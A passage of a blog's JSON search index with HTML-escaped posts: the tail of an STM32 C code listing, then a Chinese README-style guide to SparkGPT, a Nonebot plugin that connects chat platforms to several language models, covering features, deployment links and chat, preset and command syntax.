class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END Error_Handler_Debug */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#ifdef USE_FULL_ASSERT\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief Reports the name of the source file and the source line number\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * where the assert_param error has occurred.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param file: pointer to the source file name\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param line: assert_param error line source number\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @retval None\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eassert_failed\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003efile\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003euint32_t\u003c/span\u003e \u003cspan class=\"n\"\u003eline\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN 6 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* User can add his own implementation to report the file name and line number,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e ex: printf(\u0026#34;Wrong parameters value: file %s on line %d\\r\\n\u0026#34;, file, line) */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END 6 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#endif \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* USE_FULL_ASSERT */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003chr /\u003e","url":"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/"},{"title":"SparkGPT","time":"2023-09-10T00:00:00Z","content":"\u003cimg src=\"https://canxin121.github.io/p/sparkgpt/cover.png\" alt=\"Featured image of post SparkGPT\" /\u003e\u003ch2 id=\"项目地址---spark-gpthttpsgithubcomcanxin121spark-gpt\"\u003e项目地址 -\u0026gt; \u003ca class=\"link\" href=\"https://github.com/canxin121/Spark-GPT\" target=\"_blank\" rel=\"noopener\"\n\u003eSpark-GPT\u003c/a\u003e\u003c/h2\u003e\n\u003ch2 id=\"feature\"\u003eFeature\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e使用Nonebot框架跨适配器实现,多聊天平台同步实现\u003c/li\u003e\n\u003cli\u003e支持 QQ, QQ频道, Kook, 飞书, Telegram, Discord\u003c/li\u003e\n\u003cli\u003e支持跨平台账户绑定,多平台账户统一数据\u003c/li\u003e\n\u003cli\u003e适配多来源语言模型, 多态模型\u003c/li\u003e\n\u003cli\u003e实现 多用户, 多会话窗口, 公共会话和私有会话\u003c/li\u003e\n\u003cli\u003e实现 流式输出 , 文转图, 文转网络剪切板链接\u003c/li\u003e\n\u003cli\u003e实现WebUi编辑配置,实时热更新\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"todo\"\u003eToDo\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e负载均衡\u003c/li\u003e\n\u003cli\u003e用户权限系统\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"模型来源支持情况\"\u003e模型来源支持情况\u003c/h2\u003e\n\u003cp\u003e✔️:支持 ❌:不支持\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e来源\u003c/th\u003e\n\u003cth\u003e传入文本\u003c/th\u003e\n\u003cth\u003e传入图片\u003c/th\u003e\n\u003cth\u003e输出文本\u003c/th\u003e\n\u003cth\u003e输出图片\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eNewbing\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ePoe\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eChatGPT Api\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eChatGPT 网页\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eClaude.Ai\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSlack Claude\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003ePs: \u003ccode\u003e各来源的配置使用均在WebUi中已有详细说明\u003c/code\u003e\u003c/p\u003e\n\u003ch2 id=\"聊天平台支持情况\"\u003e聊天平台支持情况\u003c/h2\u003e\n\u003cp\u003e✔️:支持 ❌:不支持\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e来源\u003c/th\u003e\n\u003cth\u003e传入文本\u003c/th\u003e\n\u003cth\u003e传入图片\u003c/th\u003e\n\u003cth\u003e输出文本\u003c/th\u003e\n\u003cth\u003e输出图片\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eQQ\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eQQ频道\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKook\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e飞书\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eTelegram\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eDiscord\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003ePs: \u003ccode\u003e各聊天平台接入,请查看对应的Nonebot适配器使用说明\u003c/code\u003e\u003c/p\u003e\n\u003ch2 id=\"教程\"\u003e教程\u003c/h2\u003e\n\u003ch3 id=\"基本概念说明\"\u003e基本概念说明\u003c/h3\u003e\n\u003ch4 id=\"会话-chat-\"\u003e会话( chat )\u003c/h4\u003e\n\u003cp\u003e在本插件中,\u003ccode\u003e会话\u003c/code\u003e指的是 一个独立的由指定\u003ccode\u003e模型\u003c/code\u003e驱动的聊天上下文\u003c/p\u003e\n\u003cp\u003e会话的分类如下:\u003c/p\u003e\n\u003cpre class=\"mermaid\"\u003e\ngraph TD\nChat[\"会话\"]\nPrivateChat[\"私有会话\"]\nPublicChat[\"公有会话\"]\nQPrivateChat[\"QQ的一个和好友的聊天窗口,\\n你们的对话时私有的,\\n别的用户没办法加入到你们的对话中来.\\n为了保证上下文的连贯性,\\n同一个会话必须一问一答.\"]\nQPublicChat[\"QQ的一个群聊窗口, \\n所有用户都可以使用.\\n但用户是提问者,\\n只有一个 语言模型 是回答者,\\n为了保证上下文的连贯性,\\n语言模型只能 一个一个顺序 回答问题,\\n 不能同时回答你们\"]\nChat --\u003e PrivateChat --\u003e |\"类似于\"|QPrivateChat\nChat --\u003e PublicChat --\u003e |\"类似于\"|QPublicChat\n\u003c/pre\u003e\n\u003c!-- 模型开始 --\u003e\n\u003ch4 id=\"模型-model-\"\u003e模型( model )\u003c/h4\u003e\n\u003cp\u003e在本插件中,\u003ccode\u003e模型\u003c/code\u003e指的是驱动\u003ccode\u003e会话\u003c/code\u003e的实际的回复人\n\u003ccode\u003e模型\u003c/code\u003e需要在web ui中配置相关内容才可以启用\u003c/p\u003e\n\u003ch4 id=\"预设-prompt-\"\u003e预设( prompt )\u003c/h4\u003e\n\u003cp\u003e在本插件中,\u003ccode\u003e预设\u003c/code\u003e指每次新对话开始前,优先加载的\u003cstrong\u003e人格\u003c/strong\u003e\u003cbr\u003e\n原理:\u003cbr\u003e\n基本是在\u003ccode\u003e会话\u003c/code\u003e开始前,自动先向会话中发送预设文本,也有特殊的来源会使用其他方法\u003c/p\u003e\n\u003cp\u003e注意:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e预设\u003c/code\u003e 不一定对所有的\u003ccode\u003e模型\u003c/code\u003e都有效,因为有些模型本身会 阻止这种对模型输出行为的干预\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e预设\u003c/code\u003e 的字数不是越长越好, 字数也会有\u003cstrong\u003e上限\u003c/strong\u003e,各模型的上限不一, 超出上限会报错, 只能自行更改预设\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- 模型结束 --\u003e\n\u003c!-- 指令开始 --\u003e\n\u003ch4 id=\"指令-command-\"\u003e指令( command )\u003c/h4\u003e\n\u003cp\u003e在本插件中,\u003ccode\u003e指令\u003c/code\u003e指自动填充在问题前面的指令,可以用来命令\u003ccode\u003e模型\u003c/code\u003e一定的格式或者要求进行回复\u003c/p\u003e\n\u003cp\u003e原理:\n在发送用户的问题之前,现在用户的问题前面加上\u003ccode\u003e指令\u003c/code\u003e文本,然后再发送过去\n注意:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e指令\u003c/code\u003e字数有\u003cstrong\u003e上限\u003c/strong\u003e,各模型的上限不一, 超出上限会报错, 只能自行更改指令\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- 指令结束 --\u003e\n\u003c!-- 基本使用逻辑开始 --\u003e\n\u003ch3 id=\"基本使用逻辑说明\"\u003e基本使用逻辑说明\u003c/h3\u003e\n\u003cpre class=\"mermaid\"\u003e\ngraph TD\nCU[\"用户\"]\nML[\"获取模型列表\"]\nPL[\"获取预设列表\"]\nCmdL[\"获取指令列表\"]\nCL[\"获取可用会话 (公有 | 私有)\"]\nCAprivate[\"创建新的会话 (私有 | 公有 {仅管理员} ) \"]\nCC[\"使用会话\"]\nCPC[\"回复来继续会话\"]\nCU --\u003e CL\nCU --\u003e ML\nCU --\u003e CmdL\nCU --\u003e PL\nML --\u003e CAprivate\nCmdL --\u003e CAprivate\nPL --\u003e CAprivate\nCL --\u003e CC\nCAprivate --\u003e CC\nCC --\u003e CPC\n\u003c/pre\u003e\n\u003c!-- 基本使用逻辑结束 --\u003e\n\u003ch3 id=\"部署教程\"\u003e部署教程\u003c/h3\u003e\n\u003ch4 id=\"部署nonebot\"\u003e部署Nonebot\u003c/h4\u003e\n\u003cp\u003e\u003cstrong\u003e这里直接看Well404的教程吧,点击即可跳转到b站系列教程\u003c/strong\u003e\n\u003cdiv class=\"video-wrapper\"\u003e\n\u003ciframe src=\"https://player.bilibili.com/player.html?as_wide=1\u0026amp;high_quality=1\u0026amp;page=1\u0026aid=608028309\u0026autoplay=0\"\nscrolling=\"no\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e\n\u003c/iframe\u003e\n\u003c/div\u003e\u003c/p\u003e\n\u003ch4 id=\"部署各适配器\"\u003e部署各适配器\u003c/h4\u003e\n\u003cp\u003e在这里我直接贴出个适配器的官方使用文档或者合适的教程了\u003c/p\u003e\n\u003ch5 id=\"qqobv11\"\u003eQQ(OBV11)\u003c/h5\u003e\n\u003cp\u003e首先是qsign的部署,这个目前是 必须的\u003c/p\u003e\n\u003cdiv class=\"video-wrapper\"\u003e\n\u003ciframe src=\"https://player.bilibili.com/player.html?as_wide=1\u0026amp;high_quality=1\u0026amp;page=1\u0026bvid=BV11W4y1o7u5\u0026autoplay=0\"\nscrolling=\"no\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e\n\u003c/iframe\u003e\n\u003c/div\u003e\n\u003cp\u003e然后需要使用 gocq 的dev 版本,这里给出 gocq dev的action地址,可以自行在这里寻找合适的构建版本,\u003cbr\u003e\n而连接到nb的方法在上面的 nonebot部署教程中已经又过了,这里不在放出地址\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://github.com/Mrs4s/go-cqhttp/actions/workflows/ci.yml\" target=\"_blank\" rel=\"noopener\"\n\u003egocq-dev Action CL\u003c/a\u003e\u003c/p\u003e\n\u003ch5 id=\"qqguid-qq频道\"\u003eQQGuid (QQ频道)\u003c/h5\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://github.com/nonebot/adapter-qqguild\" target=\"_blank\" rel=\"noopener\"\n\u003eQQ频道适配器 gh链接\u003c/a\u003e\u003c/p\u003e\n\u003ch5 id=\"kook开黑啦\"\u003eKOOK(开黑啦)\u003c/h5\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://github.com/Tian-que/nonebot-adapter-kaiheila\" target=\"_blank\" rel=\"noopener\"\n\u003eKOOK(开黑啦)适配器 gh链接\u003c/a\u003e\u003c/p\u003e\n\u003ch5 id=\"飞书\"\u003e飞书\u003c/h5\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://feishu.adapters.nonebot.dev/docs/guide/installation\" target=\"_blank\" rel=\"noopener\"\n\u003e飞书(Lark)适配器 gh链接\u003c/a\u003e\u003c/p\u003e\n\u003ch5 id=\"telegram\"\u003eTelegram\u003c/h5\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://github.com/nonebot/adapter-telegram\" target=\"_blank\" rel=\"noopener\"\n\u003eTelegram适配器 gh链接\u003c/a\u003e\u003c/p\u003e\n\u003ch5 id=\"discord\"\u003eDiscord\u003c/h5\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://github.com/nonebot/adapter-discord\" target=\"_blank\" rel=\"noopener\"\n\u003eDiscord适配器 gh链接\u003c/a\u003e\u003c/p\u003e\n\u003ch4 id=\"部署spark-gpt\"\u003e部署Spark GPT\u003c/h4\u003e\n\u003ch5 id=\"安装插件\"\u003e安装插件\u003c/h5\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003enb plugin install spark_gpt\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch5 id=\"配置相关信息\"\u003e配置相关信息\u003c/h5\u003e\n\u003col\u003e\n\u003cli\u003eSparkGPT 依赖 \u003ca class=\"link\" href=\"https://github.com/canxin121/nonebot_plugin_web_config\" target=\"_blank\" rel=\"noopener\"\n\u003enonebot_plugin_web_config\u003c/a\u003e 进行实时配置热更新,所以需要配置的相关信息(端口,账号密码),可以点击进入查看相关的env配置.\u003c/li\u003e\n\u003cli\u003eSparkGPT 的GPT来源需要手动配置相应的 auth 信息才可以使用,具体获取方式都均在web ui(默认\u003ca class=\"link\" href=\"http://127.0.0.1:8666\" target=\"_blank\" rel=\"noopener\"\n\u003ehttp://127.0.0.1:8666\u003c/a\u003e)中已经标出,并可以实时热更新.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"使用教程\"\u003e使用教程\u003c/h3\u003e\n\u003cp\u003e使用教程图片版可以使用 shelp 命令获取.\u003cbr\u003e\n本插件 均采用\u003ca class=\"link\" href=\"https://github.com/nonebot/plugin-alconna\" target=\"_blank\" rel=\"noopener\"\n\u003eAlc\u003c/a\u003e命令形式 进行使用.\u003cbr\u003e\n在下面的文本中,用\u003ccode\u003e{}\u003c/code\u003e来标志 需要替换的变量, 用\u003ccode\u003e()\u003c/code\u003e框起来的为 选填的变量\u003c/p\u003e\n\u003ch4 id=\"会话\"\u003e会话\u003c/h4\u003e\n\u003ch5 id=\"使用公有会话询问\"\u003e使用公有会话询问\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003epublic_command{chat_name} {question} ( {photo} )\u003c/code\u003e\u003cbr\u003e\n参数:\u003c/p\u003e\n\u003cp\u003e必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ccode\u003echat_name\u003c/code\u003e: 会话昵称\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003equestion\u003c/code\u003e: 问题\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e选填:\u003cbr\u003e\n3. \u003ccode\u003ephoto\u003c/code\u003e: 需要识别的图片内容,只有model为bing时才可以使用,需要跟随文本信息一同发送\n4.\u003c/p\u003e\n\u003ch5 id=\"使用私有会话询问\"\u003e使用私有会话询问\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003eprivate_command{chat_name} {question} ( {photo} )\u003c/code\u003e\u003cbr\u003e\n参数:\u003c/p\u003e\n\u003cp\u003e必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ccode\u003echat_name\u003c/code\u003e: 会话昵称\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003equestion\u003c/code\u003e: 问题\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e选填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ccode\u003ephoto\u003c/code\u003e: 需要识别的图片内容,只有model为bing时才可以使用,需要跟随文本信息一同发送\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"创建新的会话\"\u003e创建新的会话\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003echat add -n {chat_name} -m {model} ( -p {prompt} -c {command} -auto_pic {bool} -num_limit {int} -pic {bool} -url {bool} -stream {bool} -public )\u003c/code\u003e\u003cbr\u003e\n参数:\u003c/p\u003e\n\u003cp\u003e必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ccode\u003echat_name\u003c/code\u003e: 会话名称\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003emodel\u003c/code\u003e: 使用的模型名称或者索引数字\n选填:\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eprompt\u003c/code\u003e:\u003cbr\u003e\n使用本地预设,须在预设名称前加\u0026rsquo;.\u0026lsquo;号\u003cbr\u003e\n使用自定义预设,直接输入内容\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ecommand\u003c/code\u003e:\u003cbr\u003e\n使用本地指令,须在指令名称前加\u0026rsquo;.\u0026lsquo;号\u003cbr\u003e\n使用自定义指令,直接输入内容\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eauto_pic\u003c/code\u003e: 是否当字数过多时自动转图片\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003enum_limit\u003c/code\u003e: 自动转图片的字数上限\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003epic\u003c/code\u003e: 是否总是文字转图片\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eurl\u003c/code\u003e: 是否在图片或流式回复时发送全文链接\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003estream\u003c/code\u003e: 是否流式输出,分段发送结果\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003epublic\u003c/code\u003e: 是否是创建共有会话\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"修改新的会话\"\u003e修改新的会话\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003echat edit -on {old_name} \\n( -nn {new_name} -m {model} -p {prompt} -c {command} -auto_pic {bool} -num_limit {int} -pic {bool} -url {bool} -stream {bool} -public )\u003c/code\u003e\u003cbr\u003e\n参数:\u003c/p\u003e\n\u003cp\u003e必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ccode\u003eold_name\u003c/code\u003e: 原来的会话名称\n选填:\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003enew_name\u003c/code\u003e: 原来的会话名称\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003emodel\u003c/code\u003e: 使用的模型名称或者索引数字\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eprompt\u003c/code\u003e:\u003cbr\u003e\n使用本地预设,须在预设名称前加\u0026rsquo;.\u0026lsquo;号\u003cbr\u003e\n使用自定义预设,直接输入内容\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ecommand\u003c/code\u003e:\u003cbr\u003e\n使用本地指令,须在指令名称前加\u0026rsquo;.\u0026lsquo;号\u003cbr\u003e\n使用自定义指令,直接输入内容\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eauto_pic\u003c/code\u003e: 是否当字数过多时自动转图片\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003enum_limit\u003c/code\u003e: 自动转图片的字数上限\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003epic\u003c/code\u003e: 是否总是文字转图片\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eurl\u003c/code\u003e: 是否在图片或流式回复时发送全文链接\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003estream\u003c/code\u003e: 是否流式输出,分段发送结果\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003epublic\u003c/code\u003e: 是否是修改共有会话\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"获取所有会话的列表\"\u003e获取所有会话的列表\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003echat list\u003c/code\u003e\u003c/p\u003e\n\u003ch5 id=\"删除一个会话\"\u003e删除一个会话\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003echat del -n {chat_name} ( -public )\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ccode\u003echat_name\u003c/code\u003e: 会话名称\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e选填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ccode\u003epublic\u003c/code\u003e: 是否是创建共有会话\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch4 id=\"模型\"\u003e模型\u003c/h4\u003e\n\u003ch5 id=\"获取可用模型列表\"\u003e获取可用模型列表\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003emodel list\u003c/code\u003e\u003c/p\u003e\n\u003ch4 id=\"预设\"\u003e预设\u003c/h4\u003e\n\u003ch5 id=\"添加一个新的预设\"\u003e添加一个新的预设\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003eprompt add -n {name} -c {content}\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e参数:\u003cbr\u003e\n必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003ename: 预设名称\u003c/li\u003e\n\u003cli\u003econtent: 预设内容\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"删除一个预设\"\u003e删除一个预设\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003eprompt del -n {name}\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e参数:\u003cbr\u003e\n必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003ename: 预设名称\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"查看预设列表\"\u003e查看预设列表\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003eprompt list ( -p {num} )\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e参数:\u003cbr\u003e\n选填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003enum: 页数\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"查看特定预设具体内容\"\u003e查看特定预设具体内容\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003eprompt show -n {name}\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e参数:\u003cbr\u003e\n必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003ename: 预设名称\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch4 